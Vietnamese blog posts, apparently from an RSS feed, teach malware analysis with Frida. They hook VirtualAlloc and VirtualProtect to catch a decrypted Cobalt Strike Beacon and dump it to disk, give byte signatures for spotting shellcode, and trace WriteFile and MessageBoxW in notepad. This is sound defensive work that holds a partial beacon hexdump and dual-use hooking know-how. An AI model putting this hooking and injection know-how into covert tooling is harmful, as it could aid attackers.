<li><p><code>flAllocationType</code>: Loại bộ nhớ sẽ cấp phát. Ví dụ: <strong>MEM_COMMIT</strong>, <strong>MEM_RESERVE</strong>, <strong>MEM_RESET</strong>,.v.v.. Xem thêm tại: <a href="https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc#parameters">Link</a></p>
</li>
<li><p><code>flProtect</code>: Thuộc tính bảo vệ vùng nhớ sẽ được cấp phát, được định nghĩa bằng các hằng số. Xem thêm tại: <a href="https://docs.microsoft.com/en-us/windows/win32/memory/memory-protection-constants">Link</a></p>
</li>
</ul>
</li>
</ul>
</li>
<li><p>Hàm <strong>VirtualProtect</strong></p>
<pre><code class="language-cpp">BOOL VirtualProtect(
  LPVOID lpAddress,
  SIZE_T dwSize,
  DWORD  flNewProtect,
  PDWORD lpflOldProtect
);
</code></pre>
<ul>
<li><p>Trong đó:</p>
<ul>
<li><p><code>lpAddress</code>: Địa chỉ vùng nhớ cần thay đổi thuộc tính</p>
</li>
<li><p><code>dwSize</code>: Kích thước vùng nhớ cần thay đổi, được tính bằng byte</p>
</li>
<li><p><code>flNewProtect</code>: Thuộc tính mới sẽ áp dụng, là các hằng số được định nghĩa tại: <a href="https://docs.microsoft.com/en-us/windows/desktop/Memory/memory-protection-constants">Link</a></p>
</li>
<li><p><code>lpflOldProtect</code>: Một con trỏ trỏ đến giá trị thuộc tính cũ trước đó.</p>
</li>
</ul>
</li>
</ul>
</li>
</ul>
<p>Nếu phân tích bằng một trình debugger như <strong>Ollydbg</strong> hay <strong>x64dbg</strong>, chúng ta có thể đặt các breakpoint tại các hàm <code>VirtualAlloc</code> và <code>VirtualProtect</code> để giám sát sự thay đổi. Trong phần này chúng ta sẽ không làm vậy, thay vào đó tôi sử dụng Frida để làm việc này. Đầu tiên hãy thử nghiệm monitor hai hàm này:</p>
<pre><code class="language-powershell">$ frida-trace -i "VirtualAlloc" -i "VirtualProtect" sample1.exe
Instrumenting...
... 
Started tracing 4 functions. Press Ctrl+C to stop.
           /* TID 0x3e0 */
  1812 ms  VirtualAlloc()
  1874 ms     | VirtualAlloc()
  1874 ms  VirtualProtect()
  1874 ms     | VirtualProtect()
           /* TID 0x88c */
  1874 ms  VirtualAlloc()
  1874 ms     | VirtualAlloc()
</code></pre>
<p>Frida-Trace tự động sinh ra các handler cho mỗi API, với mỗi API sẽ có một tệp JavaScript. Tiến hành mở các tệp này và sửa nội dung bên trong như sau:</p>
<p>Đối với tệp <code>VirtualAlloc.js</code></p>
<pre><code class="language-jsx">{
		onEnter(log, args, state) {
				log('[*] VirtualAlloc Hooked!');
				log("    Size (bytes): " + args[1].toInt32());
				log("    Protect: " + args[3]);
		},

		onLeave(log, retval, state) {
				log("    VirtualAlloc Returned: " + retval);
		}
}
</code></pre>
<p>Đối với tệp <code>VirtualProtect.js</code></p>
<pre><code class="language-jsx">{
		onEnter(log, args, state) {
				log('[*] VirtualProtect Hooked!');
				log("    Address: " + args[0]);
				log("    Size: " + args[1].toInt32());
				log("    NewProtect: " + args[2]);
		},

		onLeave(log, retval, state) {
		}
}
</code></pre>
<p>Chạy lại và kiểm tra kết quả</p>
<pre><code class="language-powershell">$ frida-trace -i "VirtualAlloc" -i "VirtualProtect" sample1.exe
Instrumenting...
...
Started tracing 4 functions. Press Ctrl+C to stop.
           /* TID 0xc90 */
  1157 ms  [*] VirtualAlloc Hooked!
  1157 ms      Size (bytes): 260608
  1157 ms      Protect: 0x4
  1157 ms     | [*] VirtualAlloc Hooked!
  1157 ms     |     Size (bytes): 260608
  1157 ms     |     Protect: 0x4
  1157 ms     |     VirtualAlloc Returned: 0x3590000
  1157 ms      VirtualAlloc Returned: 0x3590000
  1157 ms  [*] VirtualProtect Hooked!
  1157 ms      Address: 0x3590000
  1157 ms      Size: 260608
  1157 ms      NewProtect: 0x20
  1157 ms     | [*] VirtualProtect Hooked!
  1157 ms     |     Address: 0x3590000
  1157 ms     |     Size: 260608
  1157 ms     |     NewProtect: 0x20
           /* TID 0xc6c */
  1282 ms  [*] VirtualAlloc Hooked!
  1282 ms      Size (bytes): 311296
  1282 ms      Protect: 0x40
  1282 ms     | [*] VirtualAlloc Hooked!
  1282 ms     |     Size (bytes): 311296
  1282 ms     |     Protect: 0x40
  1282 ms     |     VirtualAlloc Returned: 0x3290000
  1282 ms      VirtualAlloc Returned: 0x3290000
</code></pre>
<p>Nhìn vào kết quả trên có thể thấy được chương trình cấp phát thành công 260608 bytes tại <strong>0x3590000</strong>, vùng nhớ này ban đầu được khởi tạo thuộc tính với hằng số 0x4 (<strong>PAGE_READWRITE</strong>) sau đó được thay đổi thành 0x20 (<strong>PAGE_EXECUTE_READ</strong>). Vùng nhớ thứ 2 có kích thước 311296 bytes được cấp phát tại <strong>0x3290000</strong> và được khởi tạo với thuộc tính 0x40 (<strong>PAGE_EXECUTE_READWRITE</strong>). Có một điều dễ nhận ra là đặc điểm chung của các vùng nhớ này khi được cấp phát hay sau khi được thay đổi thuộc tính vùng nhớ thì đều có quyền <strong>EXECUTE</strong>, đây là một quyền có thể nói là "nhạy cảm". Thông thường một chương trình khi hoạt động, nó xin cấp phát vùng nhớ với các quyền như <strong>READ</strong>, <strong>WRITE</strong> là rất bình thường, nhưng với quyền <strong>EXECUTE</strong> thì cần phải xem xét vì rất có thể là Malware, các vùng nhớ này sau khi được cấp với quyền <strong>EXECUTE</strong> rất có thể được dùng để ghi một <strong>Executable</strong> hay <strong>Shellcode</strong> lên đó và cuối cùng là chuyển luồng thực thi đến vùng nhớ đã ghi Shellcode hoặc Executable. Dựa vào đặc điểm này chúng ta có thể sử dụng <strong>Frida</strong> để dump vùng nhớ này ra disk, phục vụ mục đích kiểm tra, phân tích sâu hơn ở các giai đoạn sau đó. Trước tiên, chúng ta thử kiểm tra các vùng nhớ này bằng cách sửa mã JavaScript trong các handle file như sau:</p>
<p>Tệp <code>VirtualProtect.js</code>:</p>
<pre><code class="language-jsx">{
	onEnter(log, args, state) {
		log('[*] VirtualProtect Hooked!');
		log("    Address: " + args[0]);
		log("    Size: " + args[1].toInt32());
		log("    NewProtect: " + args[2]);
		log("    Hexdump:\n" + hexdump(args[0]));
	},
	
	onLeave(log, retval, state) {
	}
}
</code></pre>
<pre><code class="language-powershell">$ frida-trace -i "VirtualAlloc" -i "VirtualProtect" sample1.exe
Instrumenting...
...
Started tracing 4 functions. Press Ctrl+C to stop.
           /* TID 0x374 */
  1157 ms  [*] VirtualAlloc Hooked!
  1157 ms      Size (bytes): 260608
  1157 ms      Protect: 0x4
  1157 ms     | [*] VirtualAlloc Hooked!
  1157 ms     |     Size (bytes): 260608
  1157 ms     |     Protect: 0x4
  1157 ms     |     VirtualAlloc Returned: 0x3550000
  1157 ms      VirtualAlloc Returned: 0x3550000
  1157 ms  [*] VirtualProtect Hooked!
  1157 ms      Address: 0x3550000
  1157 ms      Size: 260608
  1157 ms      NewProtect: 0x20
  1157 ms      Hexdump:
           0  1  2  3  4  5  6  7  8  9  A  B  C  D  E  F  0123456789ABCDEF
03550000  4d 5a 41 52 55 48 89 e5 48 81 ec 20 00 00 00 48  MZARUH..H.. ...H
03550010  8d 1d ea ff ff ff 48 89 df 48 81 c3 f4 63 01 00  ......H..H...c..
03550020  ff d3 41 b8 f0 b5 a2 56 68 04 00 00 00 5a 48 89  ..A....Vh....ZH.
03550030  f9 ff d0 00 00 00 00 00 00 00 00 00 f8 00 00 00  ................
03550040  0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68  ........!..L.!Th
03550050  69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f  is program canno
03550060  74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20  t be run in DOS
03550070  6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00  mode....$.......
03550080  8c 6b 6e 52 c8 0a 00 01 c8 0a 00 01 c8 0a 00 01  .knR............
03550090  ae e4 d2 01 50 0a 00 01 56 aa c7 01 c9 0a 00 01  ....P...V.......
035500a0  39 cc cf 01 e1 0a 00 01 39 cc ce 01 40 0a 00 01  9.......9...@...
035500b0  39 cc cd 01 c2 0a 00 01 c1 72 93 01 c3 0a 00 01  9........r......
035500c0  c8 0a 01 01 14 0a 00 01 ae e4 ce 01 fd 0a 00 01  ................
035500d0  ae e4 ca 01 c9 0a 00 01 ae e4 cc 01 c9 0a 00 01  ................
035500e0  52 69 63 68 c8 0a 00 01 00 00 00 00 00 00 00 00  Rich............
035500f0  00 00 00 00 00 00 00 00 50 45 00 00 64 86 05 00  ........PE..d...
</code></pre>
<p>Cách này có thể áp dụng được với cả hàm <code>VirtualProtect</code> và <code>VirtualAlloc</code>. Nhìn vào kết quả dễ dàng thấy được một số chuỗi như: <code>MZ</code>, <code>This program cannot be run in DOS mode</code>, <code>PE</code>,.v.v.. Điều này cho biết đây là một tệp Executable, ta phỏng đoán đây chính là <strong>Cobalt Strike Beacon</strong> sau khi đã được giải mã. Thử tiến hành dump vùng nhớ này ra tệp để thu lại mẫu:</p>
<p>Tệp <code>VirtualProtect.js</code>:</p>
<pre><code class="language-jsx">{
	onEnter(log, args, state) {
		log('[*] VirtualProtect Hooked!');
		log("    Address: " + args[0]);
		log("    Size: " + args[1].toInt32());
		log("    NewProtect: " + args[2]);
		log("    Hexdump:\n" + hexdump(args[0]));
		if (args[0].readAnsiString(2) == "MZ") {
			log("    Found an MZ!");
			var exeContent = args[0].readByteArray(args[1].toInt32());
			var filename = args[0] + "_dump.bin";
			var file = new File(filename, "wb");
			file.write(exeContent);
			file.flush();
			file.close();
			log("    Success dump file: " + filename);
		}
	},
	
	onLeave(log, retval, state) {
	}
}
</code></pre>
<p>Chạy lại và quan sát kết quả:</p>
<pre><code class="language-powershell">$ frida-trace -i "VirtualAlloc" -i "VirtualProtect" sample1.exe
Instrumenting...
...
  1157 ms     | [*] VirtualProtect Hooked!
  1157 ms     |     Address: 0x3550000
  1157 ms     |     Size: 260608
  1157 ms     |     NewProtect: 0x20
  1157 ms     |     Hexdump:
           0  1  2  3  4  5  6  7  8  9  A  B  C  D  E  F  0123456789ABCDEF
03550000  4d 5a 41 52 55 48 89 e5 48 81 ec 20 00 00 00 48  MZARUH..H.. ...H
03550010  8d 1d ea ff ff ff 48 89 df 48 81 c3 f4 63 01 00  ......H..H...c..
03550020  ff d3 41 b8 f0 b5 a2 56 68 04 00 00 00 5a 48 89  ..A....Vh....ZH.
03550030  f9 ff d0 00 00 00 00 00 00 00 00 00 f8 00 00 00  ................
03550040  0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68  ........!..L.!Th
03550050  69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f  is program canno
03550060  74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20  t be run in DOS
03550070  6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00  mode....$.......
03550080  8c 6b 6e 52 c8 0a 00 01 c8 0a 00 01 c8 0a 00 01  .knR............
03550090  ae e4 d2 01 50 0a 00 01 56 aa c7 01 c9 0a 00 01  ....P...V.......
035500a0  39 cc cf 01 e1 0a 00 01 39 cc ce 01 40 0a 00 01  9.......9...@...
035500b0  39 cc cd 01 c2 0a 00 01 c1 72 93 01 c3 0a 00 01  9........r......
035500c0  c8 0a 01 01 14 0a 00 01 ae e4 ce 01 fd 0a 00 01  ................
035500d0  ae e4 ca 01 c9 0a 00 01 ae e4 cc 01 c9 0a 00 01  ................
035500e0  52 69 63 68 c8 0a 00 01 00 00 00 00 00 00 00 00  Rich............
035500f0  00 00 00 00 00 00 00 00 50 45 00 00 64 86 05 00  ........PE..d...
  1157 ms     |     Found an MZ!
  1157 ms     |     Success dump file: 0x3550000_dump.bin
...
</code></pre>
<p>Đây thực chất là một Cobalt Strike Beacon DLL:</p>
<pre><code class="language-powershell">$ file 0x3550000_dump.bin
0x3550000_dump.bin: PE32+ executable (DLL) (GUI) x86-64, for MS Windows

$ sha256sum 0x3550000_dump.bin
5becedab08e72cb27d0e1f83e666a04109e694883876b1e9c5e718cbca5730f0 *0x3550000_dump.bin
</code></pre>
<p>Kết quả kiểm tra sau khi upload mẫu lên <a href="https://www.virustotal.com/gui/file/5becedab08e72cb27d0e1f83e666a04109e694883876b1e9c5e718cbca5730f0/detection"><strong>VirusTotal</strong></a> cho thấy có khoảng <strong>18/49</strong> engine cũng phát hiện là <strong>Cobalt Strike/Beacon:</strong></p>
<img src="https://cdn.hashnode.com/uploads/covers/6698c3b850049834bdc8b385/5f7ccdf2-b4c2-4580-a033-f5cdebef9093.png" alt="" style="display:block;margin:0 auto" />

<img src="https://s3-us-west-2.amazonaws.com/secure.notion-static.com/9782ef79-bc1d-49eb-aea9-fa3c92c17445/Untitled.png" alt="" style="display:block;margin:0 auto" />

<p>Và mẫu cũng bị phát hiện bởi nhiều YARA Rules:</p>
<img src="https://cdn.hashnode.com/uploads/covers/6698c3b850049834bdc8b385/8f207fa9-fe4a-4186-aac3-073ae2738808.png" alt="" style="display:block;margin:0 auto" />

<img src="https://s3-us-west-2.amazonaws.com/secure.notion-static.com/df47f083-3639-4861-b344-4f2b07af420e/Untitled.png" alt="" style="display:block;margin:0 auto" />

<p>Có một lưu ý là các tệp PE được dump từ bộ nhớ xuống thì thường sẽ phải fix lại IAT để có thể hoạt động đúng đắn. Phần này không đi phân tích thêm mẫu Cobalt Strike Beacon DLL đã thu được, mà mục đích chỉ tập chung vào việc ứng dụng Frida để unpacking mẫu, tự động hóa một phần trong quá trình phân tích Malware.</p>
<h1>4. Identifying and Extracting Shellcode</h1>
<p>Trong phần này sẽ đến với một mẫu khác cũng là Cobalt Strike nhưng Beacon Payload lúc này không phải là một DLL Executable như trước nữa mà là <strong>Shellcode</strong>. Mẫu có sẵn trên <a href="https://www.virustotal.com/gui/file/6ef80268ee51647de8023c49bd8dbff52f8efd34234f6d7eee966273ff62be88/detection">VirusTotal</a>. Đầu tiên thử kiểm tra mẫu với các APIs như mẫu trước là <code>VirtualAlloc</code> và <code>VirtualProtect</code></p>
<img src="https://cdn.hashnode.com/uploads/covers/6698c3b850049834bdc8b385/31d3b430-c5f8-41d4-adf7-a52fbd7d6ac0.png" alt="" style="display:block;margin:0 auto" />

<img src="https://s3-us-west-2.amazonaws.com/secure.notion-static.com/20c7e746-8b23-4729-9482-86f045d73027/Untitled.png" alt="" style="display:block;margin:0 auto" />

<p>Kết quả trên cho biết tại địa chỉ 0x400000 thuộc tính vùng nhớ được thay đổi thành 0x40 (<strong>PAGE_EXECUTE_READWRITE</strong>). Đây là vùng nhớ chưa tệp executable của mẫu gốc ban đầu. Vùng nhớ có địa chỉ 0x24d0000 ban đầu có thuộc tính 0x4 (<strong>PAGE_READWRITE</strong>) nghĩa là nó không có quyền thực thi, sau đó nó được thay đổi thành 0x20 (<strong>PAGE_EXECUTE_READ</strong>) và lúc này nó đã có quyền thực thi.</p>
<p>Tiến hành Dump vùng nhớ này tương tự như mẫu số 1 trước ta được:</p>
<img src="https://cdn.hashnode.com/uploads/covers/6698c3b850049834bdc8b385/c4a7fe07-70f1-4426-808b-9e067f731d6c.png" alt="" style="display:block;margin:0 auto" />

<img src="https://s3-us-west-2.amazonaws.com/secure.notion-static.com/35936f38-ed97-4e67-bfa0-34baf5c9e10f/Untitled.png" alt="" style="display:block;margin:0 auto" />

<p>Các bytes FC E8 thường được tìm thấy ở đầu shellcode (Metasploit và Cobalt Strike). Thông thường để phát hiện được vùng nhớ này là Shellcode thì ta phải có các signatures hay nói cách khác là cần có một bộ rules để phát hiện, dạng tự như YARA vậy. Một vài signature có thể áp dụng trong trường hợp này như:</p>
<ul>
<li><p><code>FC E8</code>: CLD (clear direction flag) và CALL opcode</p>
</li>
<li><p><code>55 8B EC</code>: Là các lệnh <code>push ebp</code> và <code>mov ebp, esp</code> (function prologue)</p>
</li>
<li><p><code>EB</code>: Lệnh jump</p>
</li>
<li><p><code>E8</code>: CALL instruction</p>
</li>
</ul>
<p>Kết quả ta được như sau</p>
<img src="https://cdn.hashnode.com/uploads/covers/6698c3b850049834bdc8b385/cbc19c62-e218-4512-9baf-f3f077c889b5.png" alt="" style="display:block;margin:0 auto" />

<img src="https://s3-us-west-2.amazonaws.com/secure.notion-static.com/5e2d517e-531e-4a10-908c-15b08e91d252/Untitled.png" alt="" style="display:block;margin:0 auto" />

<p>Chạy lại và kiểm tra kết quả, chúng ta dump được shellcode ra disk</p>
<img src="https://cdn.hashnode.com/uploads/covers/6698c3b850049834bdc8b385/1585de65-7872-4f99-8da4-1c60dc7237ce.png" alt="" style="display:block;margin:0 auto" />

<img src="https://s3-us-west-2.amazonaws.com/secure.notion-static.com/4d850b78-3a68-40ec-8b85-e7681d13b90b/Untitled.png" alt="" style="display:block;margin:0 auto" />

<p>Đến bước này để phân tích Shellcode cần một công cụ có thể giả lập như: Qiling Framework, Libemu, Speakeasy của FireEye,.v.v.. Để đơn giản trong phần này tôi sử dụng scdbg và Speakeasy.</p>
<p>Kết quả khi sử dụng scdbg</p>
<img src="https://cdn.hashnode.com/uploads/covers/6698c3b850049834bdc8b385/9ace2208-7f95-4c9b-93ca-3e967e54271d.png" alt="" style="display:block;margin:0 auto" />

<img src="https://s3-us-west-2.amazonaws.com/secure.notion-static.com/fd8e5ce7-3f18-41a5-9587-34269b75d8c1/Untitled.png" alt="" style="display:block;margin:0 auto" />

<p>Kết quả khi sử dụng Speakeasy, chi tiết hơn scdbg</p>
<img src="https://cdn.hashnode.com/uploads/covers/6698c3b850049834bdc8b385/1ec0b6ec-33c3-4c7c-9127-59b0f0bdf826.png" alt="" style="display:block;margin:0 auto" />

<img src="https://s3-us-west-2.amazonaws.com/secure.notion-static.com/b9c1e6a6-2a9f-4d42-9464-c2d447f400ab/Untitled.png" alt="" style="display:block;margin:0 auto" />

<h1>5. Tổng kết</h1>
<p>Sử dụng Frida trong phân tích Malware ngày càng phổ biến, Frida có nhiều ưu điểm mà các Debugger không có được song nó ko thể thay thế hoàn toàn được các Debugger. Chỉ nên sử dụng Frida để hỗ trợ tự động một số các bước trong quá trình phân tích để tăng tốc. Bài này chỉ ra một số phương pháp để xác định được Shellcode và các Executable được giải mã trên bộ nhớ của các tiến trình độc hại. Tóm tắt lại một số ý chính nhu sau:</p>
<ul>
<li><p>Xác định các APIs cần theo dõi</p>
</li>
<li><p>Hooking vào các APIs như VirtualAlloc, VirtualProtect để theo dõi các vùng nhớ, đặc biệt là kiểm tra thuộc tính vùng nhớ (các quyền)</p>
</li>
<li><p>Xác định dữ liệu trên vùng nhớ sau khi giải mã: có thể là executable hoặc shellcode</p>
</li>
<li><p>Trích xuất vùng nhớ này ra disk để phục vụ giai đoạn phân tích sau.</p>
</li>
</ul>
<h1>6. Tham khảo</h1>
<ul>
<li>Malware Analysis with Dynamic Binary Instrumentation Frameworks: <a href="https://blogs.blackberry.com/en/2021/04/malware-analysis-with-dynamic-binary-instrumentation-frameworks">https://blogs.blackberry.com/en/2021/04/malware-analysis-with-dynamic-binary-instrumentation-frameworks</a></li>
</ul>
]]></content:encoded></item><item><title><![CDATA[Frida 102: Tracing and Hooking Windows APIs]]></title><description><![CDATA[1. Frida hoạt động như thế nào?
Để có thể lấy được các thông tin trong khi một chương trình đang chạy hay thay đổi hành vi của nó thì Frida sử dụng một kỹ thuật gọi là Hooking. Frida cài đặt các hook ]]></description><link>https://blog.lehonghai.com/frida-102-tracing-and-hooking-windows-api</link><guid isPermaLink="true">https://blog.lehonghai.com/frida-102-tracing-and-hooking-windows-api</guid><dc:creator><![CDATA[Hai Le Hong]]></dc:creator><pubDate>Mon, 17 May 2021 10:05:00 GMT</pubDate><content:encoded><![CDATA[<h1>1. Frida hoạt động như thế nào?</h1>
<p>Để có thể lấy được các thông tin trong khi một chương trình đang chạy hay thay đổi hành vi của nó thì <strong>Frida</strong> sử dụng một kỹ thuật gọi là <strong>Hooking</strong>. Frida cài đặt các hook tại các hàm của chương trình mục tiêu, Hook code sử dụng ngôn ngữ lập trình JavaScript. Để đơn giản thì có thể hiểu như sau: Khi Frida hook vào một hàm, chúng ta giám sát được đầu vào và đầu ra của hàm (tham số truyền vào và giá trị trả về), sửa đổi các giá trị đó hoặc thậm chí là cho hàm đó thực thi code của chúng ta thay vì code gốc,.v.v.. Những việc này đều thực hiện trong lúc chương trình chạy, mọi thay đổi đều diễn ra trên memory mà không làm thay đổi tệp chương trình. Kỹ thuật Hook được ứng dụng trong nhiều tình huống khác nhau, với mục đích tốt có mà xấu cũng có.</p>
<p>Để có thể <strong>Hook</strong> vào một chương trình, Frida tiến hành Inject một <strong>DLL</strong> có tên là <code>frida-agent.dll</code> vào bên trong vùng nhớ của chương trình đó khi nó đang chạy. Frida sử dụng các APIs trong <code>dbghelp.dll</code> để tra cứu các <strong>Symbols</strong> trên Windows, ngoài ra kể từ phiên bản <code>12.9.8</code> trở đi Frida đã hỗ trợ việc lookup các Symbol thông qua một Symbol Server. Những cải tiến này đến từ các chuyên gia của <strong>DarunGrim Company</strong> đã đóng góp cho dự án Frida.</p>
<p>Hình dưới đây mô tả cách Frida có thể lookup các Symbol trên Windows:</p>
<img src="https://cdn.hashnode.com/uploads/covers/6698c3b850049834bdc8b385/4d5a95bb-dcf6-4f00-bf49-946b438d0da4.png" alt="" style="display:block;margin:0 auto" />

<p>Tham khảo: <a href="https://darungrim.com/research/2020-06-17-using-frida-for-windows-reverse-engineering.html">https://darungrim.com/research/2020-06-17-using-frida-for-windows-reverse-engineering.html</a></p>
<p>Sử dụng <a href="https://docs.microsoft.com/en-us/sysinternals/downloads/process-explorer"><strong>Process Explorer</strong></a> trong bộ Sysinternal Suite có thể quan sát được, Frida đã inject <code>frida-agent.dll</code> vào bên trong <code>notepad.exe</code>:</p>
<img src="https://cdn.hashnode.com/uploads/covers/6698c3b850049834bdc8b385/91613a5f-f317-4869-adad-51c7248c1aba.png" alt="" style="display:block;margin:0 auto" />

<img src="https://s3-us-west-2.amazonaws.com/secure.notion-static.com/e329d77f-7a41-4d03-a25d-e9cb0616fd58/Untitled.png" alt="" style="display:block;margin:0 auto" />

<p>Trước đó Frida giải nén các tệp cần thiết mà nó sử dụng vào thư mục: <code>%LOCALAPPDATA%\Temp\frida-&lt;random-32-character&gt;\&lt;32|64&gt;</code> ứng với tệp chương trình 32-bits hoặc 64-bits. Cấu trúc trông như sau:</p>
<pre><code class="language-bash">$ tree
.
├── 32
│   ├── dbghelp.dll
│   ├── frida-agent.dll
│   └── symsrv.dll
└── 64
    ├── dbghelp.dll
    ├── frida-agent.dll
    └── symsrv.dll

2 directories, 6 files
</code></pre>
<p>Sơ đồ dưới đây mô tả cách mà Frida cài đặt các Hook và nhận thông báo từ các hook đã cài:</p>
<img src="https://cdn.hashnode.com/uploads/covers/6698c3b850049834bdc8b385/9f0a3f2f-f790-4034-97cc-5b46512ee1e6.png" alt="" style="display:block;margin:0 auto" />

<p>Tham khảo: <a href="https://darungrim.com/research/2020-06-17-using-frida-for-windows-reverse-engineering.html">https://darungrim.com/research/2020-06-17-using-frida-for-windows-reverse-engineering.html</a></p>
<p>Các đối tượng <code>Frida</code>, <code>Session</code>, <code>Script</code> tham gia vào quá trình này để quản lý cài đặt các Hook. Các <strong>Hook CallBack Functions</strong> được viết bằng <strong>JavaScript</strong>.</p>
<h1>2. Sử dụng Frida cơ bản</h1>
<h2>2.1. Khởi chạy một chương trình bằng Frida</h2>
<pre><code class="language-powershell">$ frida C:\Windows\System32\notepad.exe
     ____
    / _  |   Frida 14.2.18 - A world-class dynamic instrumentation toolkit
   | (_| |
    &gt; _  |   Commands:
   /_/ |_|       help      -&gt; Displays the help system
   . . . .       object?   -&gt; Display information about 'object'
   . . . .       exit/quit -&gt; Exit
   . . . .
   . . . .   More info at https://frida.re/docs/home/
Spawned `C:\Windows\System32\notepad.exe`. Use %resume to let the main thread start executing!
[Local::notepad.exe]-&gt;
</code></pre>
<p>Lúc này tiến trình <code>notepad.exe</code> là tiến trình con được sinh ra bởi <code>Frida</code>:</p>
<img src="https://cdn.hashnode.com/uploads/covers/6698c3b850049834bdc8b385/c14d6ce0-6e15-47d1-bf17-3742b99af75a.png" alt="" style="display:block;margin:0 auto" />

<img src="https://s3-us-west-2.amazonaws.com/secure.notion-static.com/f244feaf-7716-4c0e-b0f7-c8c5c7bafc2d/spawn_process.png" alt="" style="display:block;margin:0 auto" />

<p>Trong bộ công cụ <code>frida-tools</code>, chúng ta có một chương trình là <code>frida-ps</code> có thể liệt kê tất cả các tiến trình đang chạy trên hệ thống. Có thể sử dụng nó để xác nhận <code>notepad.exe</code> đã được khởi chạy:</p>
<pre><code class="language-powershell">$ frida-ps | findstr "notepad"
 14340  notepad.exe
</code></pre>
<h2>2.2. Attach một tiến trình bằng Frida</h2>
<p>Để attach một tiến trình bằng <code>Frida</code>, chúng ta phải tìm được PID của tiến trình cần attack sau đó sử dụng tham số <code>-p</code> của <strong>Frida</strong>:</p>
<pre><code class="language-powershell">$ frida-ps | findstr "mspaint"
 7800  mspaint.exe
</code></pre>
<pre><code class="language-powershell">$ frida -p 7800
     ____
    / _  |   Frida 14.2.18 - A world-class dynamic instrumentation toolkit
   | (_| |
    &gt; _  |   Commands:
   /_/ |_|       help      -&gt; Displays the help system
   . . . .       object?   -&gt; Display information about 'object'
   . . . .       exit/quit -&gt; Exit
   . . . .
   . . . .   More info at https://frida.re/docs/home/

[Local::PID::7800]-&gt;
</code></pre>
<h2>2.3. Sử dụng Frida Tracing</h2>
<p><code>frida-trace</code> là một công cụ trong bộ <code>frida-tools</code>. Công cụ này có thể Tracing/Monitor các API được gọi trong một chương trình. Giả sử chúng ta cần monitor hàm <code>MessageBox</code> và <code>WriteFile</code> trong <code>notepad.exe</code>.</p>
<pre><code class="language-powershell">$ frida-trace -i "MessageBoxW" -i "WriteFile" C:\Windows\System32\notepad.exe
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6698c3b850049834bdc8b385/f036c27a-9ea5-4e21-bdad-ceef8c1f2f7d.png" alt="" style="display:block;margin:0 auto" />

<img src="https://s3-us-west-2.amazonaws.com/secure.notion-static.com/05b6be54-e534-4c51-884c-069d8b294d45/messagebox_trace.png" alt="" style="display:block;margin:0 auto" />

<h1>3. Hooking Windows APIs bằng Frida</h1>
<h2>3.1. APIs Monitor với Frida</h2>
<p>Có thể sử dụng Frida để hook vào một số hàm nào đó trong một chương trình với mục đích chặn bắt các tham số của hàm, thậm chí là sửa đổi các tham số này (Memory Patching). Trong trường hợp này tôi thử nghiệm hook vào hàm <code>WriteFile</code> và <code>MessageBoxW</code> của chương trình <code>notepad.exe</code>. Trước tiên, hãy cùng xem xét các hàm này được định nghĩa như thế nào trong tài liệu MSDN của Microsoft.</p>
<pre><code class="language-cpp">BOOL WriteFile(
  HANDLE       hFile,
  LPCVOID      lpBuffer,
  DWORD        nNumberOfBytesToWrite,
  LPDWORD      lpNumberOfBytesWritten,
  LPOVERLAPPED lpOverlapped
);
</code></pre>
<pre><code class="language-cpp">int MessageBoxW(
  HWND    hWnd,
  LPCWSTR lpText,
  LPCWSTR lpCaption,
  UINT    uType
);
</code></pre>
<p>Tham số <code>lpBuffer</code> của hàm <code>WriteFile</code> chính là con trỏ trỏ đến vùng đệm sẽ được ghi vào tệp. Theo thứ tự thì hàm này sẽ là tham số thứ hai. Tham số <code>lpText</code> của hàm <code>MessageBoxW</code> là nội dung sẽ hiển thị trên box, <code>lpCaption</code> là tiêu đề của box khi hiển thị.</p>
<p>Khi <code>Frida</code> hook vào các hàm ta chỉ định trong <code>notepad.exe</code>. Ta thực hiện một số hành động sau:</p>
<ul>
<li><p>Dump nội dung và in ra màn hình giá trị của <code>lpBuffer</code> trong hàm <code>WriteFile</code></p>
</li>
<li><p>In ra màn hình nội dung của <code>lpText</code> và <code>lpCaption</code> trong hàm <code>MessageBoxW</code></p>
</li>
</ul>
<pre><code class="language-jsx">var messageBox = Module.getExportByName(null, "MessageBoxW");
var writeFile = Module.getExportByName(null, "WriteFile");

Interceptor.attach(messageBox, {
    onEnter: function(args)
    {
		console.log("\nMessageBoxW at: " + messageBox);
        console.log("  lpText: " + Memory.readUtf16String(args[1]));
        console.log("  lpCaption: " + Memory.readUtf16String(args[2]));
    }
});

Interceptor.attach(writeFile, {
    onEnter: function(args)
    {
		console.log("\nWriteFile at: " + writeFile);
        console.log("  Buffer dump:\n" + hexdump(args[1]));
        console.log("  Buffer via utf16String: " + Memory.readUtf16String(args[1]));
    }
});
</code></pre>
<p>Lưu đoạn <strong>JavaScript</strong> này lại. Tôi đặt là <code>apis_hooking.js</code>. Khởi chạy lại <code>notepad.exe</code> với tham số <code>-l</code> để nạp script vừa viết:</p>
<pre><code class="language-powershell">$ frida -l .\hooking\apis_hooking.js C:\Windows\System32\notepad.exe --no-pause
</code></pre>
<p>Nhập một nội dung bất kỳ, ở đây tôi nhập chuỗi: <code>"This is fun!"</code>, sau đó tiến hành lưu tệp ra ổ cứng và quan sát trong <code>Frida</code> ta được như sau:</p>
<pre><code class="language-powershell">WriteFile at: 0x7fff9f8b4fd0
  Buffer dump:
              0  1  2  3  4  5  6  7  8  9  A  B  C  D  E  F  0123456789ABCDEF
1e1a2823780  54 00 68 00 69 00 73 00 20 00 69 00 73 00 20 00  T.h.i.s. .i.s. .
1e1a2823790  66 00 75 00 6e 00 21 00 00 00 00 00 00 00 00 00  f.u.n.!.........
...
1e1a2823870  00 00 00 00 00 00 00 00 10 39 82 a2 e1 01 00 00  .........9......
  Buffer via utf16String: This is fun!
</code></pre>
<p>Tìm kiếm một chuỗi không tồn tại, mục đích để <code>Notepad</code> bắn ra MessageBox:</p>
